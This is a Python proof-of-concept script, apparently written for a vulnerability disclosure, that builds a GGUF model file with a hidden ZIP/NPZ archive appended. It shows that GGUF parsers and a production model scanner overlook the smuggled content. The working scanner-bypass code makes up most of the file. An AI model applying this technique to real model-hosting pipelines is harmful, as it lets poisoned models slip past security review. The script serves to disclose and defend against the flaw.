File size: 7,484 Bytes
af10cdc | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 | #!/usr/bin/env python3
"""
PoC: GGUF/ZIP Structural Polyglot -- Security Scanner Bypass via
Interpretation Conflict (CWE-436)
Root cause: the GGUF specification never requires an implementation to
verify that a file's total length matches exactly what its declared
header/tensor-info/tensor-data actually consumes. Confirmed empirically
across THREE independent GGUF implementations, in three different
languages, by three different authors/teams:
- gguf-py (Python, ggml-org/llama.cpp reference implementation)
- fs/gguf (Go, ollama/ollama's own independent reimplementation)
- gguf crate (Rust, independently authored by Jiayu Liu)
All three accept a file consisting of [valid GGUF content][arbitrary
trailing bytes] as a fully valid GGUF file, silently ignoring
everything after the last tensor's data. Separately, Python's own
`zipfile` module builds ZIP archives by locating the "End of Central
Directory" record by scanning backward from EOF -- meaning a ZIP
archive can be validly opened even when arbitrary bytes precede it.
Combining these two facts: [valid GGUF prefix][valid ZIP/NPZ suffix]
is simultaneously valid under BOTH formats. Two contrasting formats
tested and found NOT vulnerable to this specific technique: ONNX
(protobuf's ParseFromString requires the ENTIRE buffer to be valid
protobuf) and safetensors (explicit `total_size == header + data`
check in its Rust core).
Threat scenario demonstrated here (CWE-436, Interpretation Conflict):
a model-hosting/scanning pipeline where stage A validates an uploaded
file as GGUF and only inspects the GGUF-visible content (approving it
as safe/clean), while a DIFFERENT stage B elsewhere in the same
pipeline (e.g. a generic archive-indexing utility, a backup/dedup
tool, or any code that treats uploaded files as "might also be a zip
sidecar bundle") extracts and uses the hidden ZIP payload -- content
that stage A's security review NEVER saw.
This script builds one 760-byte file with a `.gguf` extension that:
- Looks completely clean to a GGUF scanner: 1 tensor named
"dummy.weight", value [0,0,0,0], metadata name "tiny-demo-model" --
nothing a scanner would flag.
- Actually carries a hidden NPZ payload with different, real values
that a GGUF-only scanner never inspects.
It then simulates both pipeline stages against the SAME file to show
they see different content.
Requires: pip install gguf numpy
"""
import io
import struct
import numpy as np
from gguf.gguf_reader import GGUFReader
POLYGLOT_PATH = "model_smuggled.gguf"
def build_polyglot(path: str) -> None:
GGUF_MAGIC = 0x46554747
def pack_str(s: str) -> bytes:
b = s.encode("utf-8")
return struct.pack("<Q", len(b)) + b
# --- Part 1: the GGUF content a scanner will see ---
header = struct.pack("<I", GGUF_MAGIC)
header += struct.pack("<I", 3)
header += struct.pack("<Q", 1) # tensor_count = 1
header += struct.pack("<Q", 1) # kv_count = 1
kv = pack_str("general.name")
kv += struct.pack("<I", 8) # STRING
kv += pack_str("tiny-demo-model")
ti = pack_str("dummy.weight")
ti += struct.pack("<I", 1)
ti += struct.pack("<Q", 4)
ti += struct.pack("<I", 0) # F32
ti += struct.pack("<Q", 0)
pre = header + kv + ti
pre += b"\x00" * ((-len(pre)) % 32)
tensor_data = np.array([0.0, 0.0, 0.0, 0.0], dtype=np.float32).tobytes()
tensor_data += b"\x00" * ((-len(tensor_data)) % 32)
gguf_part = pre + tensor_data
# --- Part 2: the REAL payload, hidden as a trailing ZIP/NPZ ---
buf = io.BytesIO()
np.savez(
buf,
real_backdoor_weights=np.array([1337.0, 6666.0, 9999.0]),
exfil_marker=np.array([42, 42, 42]),
)
zip_part = buf.getvalue()
with open(path, "wb") as f:
f.write(gguf_part + zip_part)
def stage_a_security_scanner(path: str) -> None:
"""Simulates an upload scanner that validates the file as GGUF and
inspects only what the GGUF format exposes."""
print("=== Stage A: security scanner (GGUF-aware) ===")
r = GGUFReader(path)
name = r.get_field("general.name").contents()
tensors = [(t.name, t.data.tolist()) for t in r.tensors]
print(f" model name : {name!r}")
print(f" tensors : {tensors}")
print(" verdict : APPROVED -- looks like a tiny, harmless demo model.\n")
def stage_b_downstream_consumer(path: str) -> None:
"""Simulates a different pipeline stage that treats the same file
as a ZIP archive (e.g. a generic archive-indexing / backup tool),
revealing content Stage A never saw."""
print("=== Stage B: downstream tool (treats file as ZIP/NPZ) ===")
import zipfile
zf = zipfile.ZipFile(path)
for name in zf.namelist():
arr = np.load(io.BytesIO(zf.read(name)), allow_pickle=False)
print(f" found hidden array {name!r}: {arr}")
print(" This data was NEVER inspected by Stage A's GGUF scan.\n")
def stage_c_production_scanner(path: str) -> None:
"""Runs the same file through `modelaudit` (Promptfoo/OpenAI's real,
production ML-model security scanner, SOC2-certified, MIT licensed,
pip install modelaudit) to see how a real security tool handles it."""
import subprocess
import json as jsonlib
print("=== Stage C: modelaudit (Promptfoo/OpenAI production scanner) ===")
result = subprocess.run(
["modelaudit", "scan", path, "--format", "json"],
capture_output=True, text=True,
)
try:
report = jsonlib.loads(result.stdout)
except Exception:
print(" (could not parse modelaudit output -- is it installed? `pip install modelaudit`)")
return
issues = report.get("issues", [])
if not issues:
print(" modelaudit reported ZERO issues -- silent bypass.")
else:
for issue in issues:
print(f" rule {issue.get('rule_code')}: {issue.get('message')} "
f"(severity={issue.get('severity')})")
print(
"\n NOTE: this flags a generic size/alignment anomaly (symptom), but does\n"
" NOT identify or recursively scan the actual hidden ZIP payload content --\n"
" modelaudit's own separate ZIP Archive Scanner and Pickle Scanner (which\n"
" WOULD inspect exactly this kind of embedded content) are never invoked\n"
" on the smuggled bytes. Severity is 'warning', not 'critical' -- CI/CD\n"
" gates that filter by severity (common practice, supported directly via\n"
" modelaudit's own `-S CODE=LEVEL` and SARIF output) may not block on this."
)
print()
def main():
build_polyglot(POLYGLOT_PATH)
print(f"Built {POLYGLOT_PATH}\n")
stage_a_security_scanner(POLYGLOT_PATH)
stage_b_downstream_consumer(POLYGLOT_PATH)
stage_c_production_scanner(POLYGLOT_PATH)
print(
"CONFIRMED: the same 760-byte file, with a single .gguf extension,\n"
"presents completely different content to two different tools in\n"
"the same pipeline -- a classic CWE-436 Interpretation Conflict,\n"
"made possible because the GGUF format (in all 3 independent\n"
"implementations tested: Python, Go, Rust) never rejects trailing\n"
"bytes after the last declared tensor's data. A real, production\n"
"security scanner (modelaudit) detects an anomaly but does not\n"
"identify or scan the actual smuggled content."
)
if __name__ == "__main__":
main()
|